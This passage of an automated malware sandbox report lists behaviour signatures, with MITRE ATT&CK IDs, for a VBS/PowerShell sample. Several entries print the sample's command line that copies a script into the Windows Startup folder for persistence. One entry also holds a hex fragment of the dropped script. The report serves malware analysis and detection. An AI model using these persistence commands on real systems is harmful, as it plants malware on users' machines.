\"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\Public\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\Public\\Desktop\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"PING.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"PING.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"General","name":"Renames files with double extension (often done by ransomware)","description":"\"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF101cf0.TMP\"\n \"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF104eed.TMP\"","origin":"API Call","mitre_attack_id":"T1036.007","relevance":3,"id":"api-163","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\\\EGK.vbs','%APPDATA%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\ GGw.vbs')\"\" on 2023-8-15.13:38:14.692\n \"/c \"powershell -command [System.IO.File]::Copy('C:\\\\EGK.vbs','%APPDATA%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\ GGw.vbs')\"\" on 2023-8-15.13:38:19.405","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$3a","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$3b","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Windows Script Host executes Powershell","description":"Process \"%WINDIR%\\System32\\WScript.exe\" started \"powershell.exe\" (UID: 00000000-00003724)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-321","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Tar8E77.tmp\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Cab8E67.tmp\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Calls an API typically used to set the date and time of the file","description":"\"powershell.exe\" called \"SetFileTime\" on file C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Tar8E77.tmp (UID: 00000000-00002752)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":2,"id":"api-205","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates VBS file in Windows Startup folder","description":"\"powershell.exe\" trying to write a file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs\"\n \"powershell.exe\" trying to write a file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs\"","origin":"API Call","mitre_attack_id":"T1547.001","relevance":3,"id":"api-210","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"WScript.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"PING.EXE\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates new processes","description":"\"cmd.exe\" is creating a new process (Name: \"C:\\Windows\\system32\\PING.EXE\")\n \"cmd.exe\" is creating a new process (Name: \"C:\\Windows\\system32\\cmd.exe\")\n \"cmd.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\")\n \"powershell.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\")","origin":"API Call","mitre_attack_id":"T1106","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"GGw.vbs\" has type \"Little-endian UTF-16 Unicode text with very long lines with CRLF line terminators\"- [targetUID: 00000000-00003604]\n \"Tar8E77.tmp\" has type \"data\"- Location: [%TEMP%\\Tar8E77.tmp]- [targetUID: 00000000-00002752]\n \"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002752]\n \"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"data\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002752]\n \"Cab8E67.tmp\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"- Location: [%TEMP%\\Cab8E67.tmp]- [targetUID: 00000000-00002752]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops script (vb/js) files","description":"\"GGw.vbs\" has type \"Little-endian UTF-16 Unicode text with very long lines with CRLF line terminators\"- [targetUID: 00000000-00003604]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-40","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"Tar8E77.tmp\" has type \"data\" - Location: [%TEMP%\\Tar8E77.tmp]\n \"Cab8E67.tmp\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\" - Location: [%TEMP%\\Cab8E67.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"\"PING.EXE\" monitors \"HKLM\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 2225152)","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"WScript.exe\" reads file \"c:\\windows\\system32\\wshom.ocx\"\n \"WScript.exe\" reads file \"c:\\users\\%osuser%\\desktop\\desktop.ini\"\n \"WScript.exe\" reads file \"c:\\windows\\system32\\wscript.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"WScript.exe\" trying to touch file \"\\FileSystem\\Filters\\FltMgrMsg\"\n \"WScript.exe\" trying to touch file \"\\Device\\MountPointManager\"\n \"WScript.exe\" trying to touch file \"C:\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\sechost.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\version.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\en-US\\wscript.exe.mui\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$3e","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"powershell.exe\" trying to access LNK file \"C:\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"WScript.exe\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL\"\n \"WScript.exe\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL\"\n \"WScript.exe\" trying to access non-existent file \"C:\\CMD.EXE\"\n \"cmd.exe\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL\"\n \"cmd.exe\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL\"\n \"cmd.exe\" trying to access non-existent file \"C:\\CMD.EXE\"\n \"PING.EXE\" trying to access non-existent file \"C:\\Windows\\system32\\api-ms-win-core-fibers-l1-1-1.DLL\"\n \"PING.EXE\" trying to access non-existent file \"C:\\Windows\\system32\\api-ms-win-core-localization-l1-2-1.DLL\"\n \"PING.EXE\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL\"\n \"PING.EXE\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$3f","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes a file to the startup folder","description":"\"powershell.exe\" wrote to file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs\"\n \"powershell.exe\" wrote 61998 bytes to file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs\": 20003d00200022006c00620046006f006e00650022003b000d000a002700200020002000200020002000200020002000200020002000200074006800690073002e006c00620046006f006e0065002e00530069007a00650020003d0020006e00650077002000530079007300740065006d002e00440072006100770069006e00 ...","origin":"API Call","mitre_attack_id":"T1547.001","relevance":10,"id":"api-90","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\vr7v0btq38w0ris2aofu.temp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ ggw.vbs\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\w5qmsbydtm2jfxsmfhv2.temp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\zk2dqa241hppg99lkdym.temp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\77ec63bda74bd0d0e0426dc8f8008506\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\77ec63bda74bd0d0e0426dc8f8008506\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\tar8e77.tmp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\cab8e67.tmp\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to communicate with HTTP server","description":"\"powershell.exe\" called \"WinHttpConnect\" to server \"ctldl.windowsupdate.com\" on port 80 (UID: 00000000-00002752)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-187","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"\"powershell.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"1d105630\"\n \"lpszHeaders\": \"If-None-Match: \\\"071e15c5dc4d71:0\\\"If-Modified-Since: Mon, 18 Oct 2021 20:18:50 GMT\"\n \"dwHeadersLength\": \"4294967295\"\n \"dwOptionalLength\": \"0\"\n \"dwTotalLength\": \"0\"\n \"dwContext\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"powershell.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"1d105630\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Network Related","name":"Checks internet connectivity using tracert/ping","description":"Process \"PING.EXE\" with commandline \"ping 127.0.0.1 -n 5\" (UID: 00000000-00003684)","origin":"Monitored Target","mitre_attack_id":"T1016.001","relevance":1,"id":"target-348","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Network Related","name":"Contains ability to check internet connectivity","description":"Found string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')\"\" (Indicator: \"ping 127.0.0.1\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1016.001","relevance":1,"id":"string-573","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Network Related","name":"Contains ability to identify remote systems","description":"Found string \"\"%WINDIR%\\System32\\cmd.exe\" /c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','C:\\Use\" (Indicator: \"/c ping\"; Source: \"00000000-00003604-00000C41-18446744058409913714\")\n Found string \"ping 127.0.0.1 -n 5\" (Indicator: \"ping \"; Source: \"00000000-00003244-00000C41-1158653416\")\n Found string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')\"\" (Indicator: \"/c ping\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload or download data from a specified domain","description":"file/memory contains long string with (Indicator: \"System.Net.WebClient\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1102.002","relevance":1,"id":"string-536","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"127.0.0.1\" found in string \"\"%WINDIR%\\System32\\cmd.exe\" /c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','C:\\Use\", Potential IP \"127.0.0.1\" found in string \"ping 127.0.0.1 -n 5\", Potential IP \"127.0.0.1\" found in string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')\"\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$41","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"172.67.215.45\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"WScript.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff070000030000000000000004000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff070000030000000000000004000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$42","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"file/memory contains long string with (Indicator: \"base64\"; File: \"00000000-00002752\")\n file/memory contains long string with (Indicator: \"base64\"; File: \"powershell.exe\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"Found string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')\"\" (Indicator: \"ping\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF101cf0.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF104eed.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Cab8E67.tmp\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Tar8E77.tmp\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"System Destruction","name":"Opens file with deletion access rights","description":"$43","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002396)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003724)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002752)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"powershell.exe\" (Access type: 